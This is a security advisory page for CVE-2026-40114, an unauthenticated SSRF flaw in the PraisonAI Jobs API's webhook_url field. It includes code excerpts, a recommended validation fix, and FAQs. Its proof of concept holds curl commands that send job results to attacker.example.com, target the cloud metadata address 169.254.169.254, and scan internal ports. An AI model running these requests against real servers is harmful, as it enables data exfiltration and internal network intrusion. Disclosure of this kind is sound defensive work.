CVE-2026-40114: PraisonAI has Server-Side Request Forgery via Unvalidated webhook_url in Jobs API

Published Apr 9, 2026
·
Updated

Summary

The /api/v1/runs endpoint accepts an arbitrary webhookurl in the request body with no URL validation. When a submitted job completes (success or failure), the server makes an HTTP POST request to this URL using httpx.AsyncClient. An unauthenticated attacker can use this to make the server send POST requests to arbitrary internal or external destinations, enabling SSRF against cloud metadata services, internal APIs, and other network-adjacent services.

Details

The vulnerability exists across the full request lifecycle:

1. User input accepted without validation — models.py:32: python class JobSubmitRequest(BaseModel): webhookurl: Optional[str] = Field(None, description="URL to POST results when complete") The field is a plain str with no URL validation — no scheme restriction, no host filtering.

2. Stored directly on the Job object — router.py:80-86: python job = Job( prompt=body.prompt, ... webhookurl=body.webhookurl, ... )

3. Used in an outbound HTTP request — executor.py:385-415: python async def sendwebhook(self, job: Job): if not job.webhookurl: return try: import httpx payload = { "jobid": job.id, "status": job.status.value, "result": job.result if job.status == JobStatus.SUCCEEDED else None, "error": job.error if job.status == JobStatus.FAILED else None, ... } async with httpx.AsyncClient(timeout=30.0) as client: response = await client.post( job.webhookurl, # <-- attacker-controlled URL json=payload, headers={"Content-Type": "application/json"} )

4. Triggered on both success and failure paths — executor.py:180-205: python Line 180-181: on success if job.webhookurl: await self.sendwebhook(job)

Line 204-205: on failure if job.webhookurl: await self.sendwebhook(job)

5. No authentication on the Jobs API server — server.py:82-101: The createapp() function creates a FastAPI app with CORS allowing all origins ([""]) and no authentication middleware. The jobs router is mounted directly with no auth dependencies.

There is zero URL validation anywhere in the chain: no scheme check (allows http://, https://, and any scheme httpx supports), no private/internal IP filtering, and no allowlist.

PoC

Step 1: Start a listener to observe SSRF requests bash In a separate terminal, start a simple HTTP listener python3 -c " from http.server import HTTPServer, BaseHTTPRequestHandler import json

class Handler(BaseHTTPRequestHandler): def doPOST(self): length = int(self.headers.get('Content-Length', 0)) body = self.rfile.read(length) print(f'Received POST from PraisonAI server:') print(json.dumps(json.loads(body), indent=2)) self.sendresponse(200) self.endheaders()

HTTPServer(('0.0.0.0', 9999), Handler).serveforever() "

Step 2: Submit a job with a malicious webhookurl bash Point webhook to attacker-controlled server curl -X POST http://localhost:8005/api/v1/runs \ -H 'Content-Type: application/json' \ -d '{ "prompt": "say hello", "webhookurl": "http://attacker.example.com:9999/steal" }'

Step 3: Target internal services (cloud metadata) bash Attempt to reach AWS metadata service curl -X POST http://localhost:8005/api/v1/runs \ -H 'Content-Type: application/json' \ -d '{ "prompt": "say hello", "webhookurl": "http://169.254.169.254/latest/meta-data/" }'

Step 4: Internal network port scanning bash Scan internal services by observing response timing for port in 80 443 5432 6379 8080 9200; do curl -s -X POST http://localhost:8005/api/v1/runs \ -H 'Content-Type: application/json' \ -d "{ \"prompt\": \"say hello\", \"webhookurl\": \"http://10.0.0.1:${port}/\" }" done

When each job completes, the server POSTs the full job result payload (including agent output, error messages, and execution metrics) to the specified URL.

Impact

1. SSRF to internal services: The server will send POST requests to any host/port reachable from the server's network, allowing interaction with internal APIs, databases, and cloud infrastructure that are not meant to be externally accessible.

2. Cloud metadata access: In cloud deployments (AWS, GCP, Azure), the server can be directed to POST to metadata endpoints (169.254.169.254, metadata.google.internal), potentially triggering actions or leaking information depending on the metadata service's POST handling.

3. Internal network reconnaissance: By submitting jobs with webhook URLs pointing to various internal hosts and ports, an attacker can discover internal services based on timing differences and error patterns in job logs.

4. Data exfiltration: The webhook payload includes the full job result (agent output), which may contain sensitive data processed by the agent. By pointing the webhook to an attacker-controlled server, this data is exfiltrated.

5. No authentication barrier: The Jobs API server has no authentication by default, meaning any network-reachable attacker can exploit this without credentials.

Recommended Fix

Add URL validation to restrict webhook URLs to safe destinations. In models.py, add a Pydantic validator:

python from pydantic import BaseModel, Field, fieldvalidator from urllib.parse import urlparse import ipaddress

class JobSubmitRequest(BaseModel): webhookurl: Optional[str] = Field(None, description="URL to POST results when complete")

@fieldvalidator("webhookurl") @classmethod def validatewebhookurl(cls, v: Optional[str]) -> Optional[str]: if v is None: return v parsed = urlparse(v) # Only allow http and https schemes if parsed.scheme not in ("http", "https"): raise ValueError("webhookurl must use http or https scheme") # Block private/internal IP ranges hostname = parsed.hostname if not hostname: raise ValueError("webhookurl must have a valid hostname") try: ip = ipaddress.ipaddress(hostname) if ip.isprivate or ip.isloopback or ip.islinklocal or ip.isreserved: raise ValueError("webhookurl must not point to private/internal addresses") except ValueError as e: if "must not point" in str(e): raise # hostname is not an IP — resolve and check pass return v

Additionally, in executor.py, add DNS resolution validation before making the request to prevent DNS rebinding:

python async def sendwebhook(self, job: Job): if not job.webhookurl: return # Validate resolved IP is not private (prevent DNS rebinding) from urllib.parse import urlparse import socket, ipaddress parsed = urlparse(job.webhookurl) try: resolvedip = socket.getaddrinfo(parsed.hostname, parsed.port or 443)[0][4][0] ip = ipaddress.ipaddress(resolvedip) if ip.isprivate or ip.isloopback or ip.islinklocal or ip.isreserved: logger.warning(f"Webhook blocked for {job.id}: resolved to private IP {resolvedip}") return except (socket.gaierror, ValueError): logger.warning(f"Webhook blocked for {job.id}: could not resolve {parsed.hostname}") return # ... proceed with httpx.AsyncClient.post() ...

Other sources

PraisonAI is a multi-agent teams system. Prior to 4.5.128, the /api/v1/runs endpoint accepts an arbitrary webhookurl in the request body with no URL validation. When a submitted job completes (success or failure), the server makes an HTTP POST request to this URL using httpx.AsyncClient. An unauthenticated attacker can use this to make the server send POST requests to arbitrary internal or external destinations, enabling SSRF against cloud metadata services, internal APIs, and other network-adjacent services. This vulnerability is fixed in 4.5.128.

MITRE

Affected Software

2 affected componentsFixes available
pip/PraisonAI<4.5.128
4.5.128
Praison PraisonAI<4.5.128

Event History

Apr 9, 2026
CVE Published
via MITRE·09:18 PM
Data Sourced
via MITRE·09:18 PM
DescriptionSeverityWeakness
Data Sourced
via NVD·10:16 PM
DescriptionSeverityWeakness
Data Sourced
via NVD·10:16 PM
Affected Software
Apr 10, 2026
Advisory Published
via GitHub·07:28 PM
Data Sourced
via GitHub·07:28 PM
DescriptionSeverityWeaknessAffected Software
Free Weekly Intel

Don't miss critical vulnerabilities

Join thousands of security professionals who receive our weekly digest of trending CVEs, zero-days, and exploited vulnerabilities.

No spam. Unsubscribe anytime.

Frequently Asked Questions

1

What is the severity of CVE-2026-40114?

CVE-2026-40114 has a high severity level due to its potential for server-side request forgery (SSRF) exploits.

2

How do I fix CVE-2026-40114?

To fix CVE-2026-40114, you should upgrade to version 4.5.128 or later of the PraisonAI package.

3

What systems are affected by CVE-2026-40114?

CVE-2026-40114 affects the PraisonAI package versions prior to 4.5.128.

4

What attack vectors are associated with CVE-2026-40114?

CVE-2026-40114 can be exploited through arbitrary `webhook_url` submissions in the Jobs API.

5

What are the potential impacts of CVE-2026-40114?

Exploitation of CVE-2026-40114 may lead to unauthorized access to internal services or information through SSRF.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203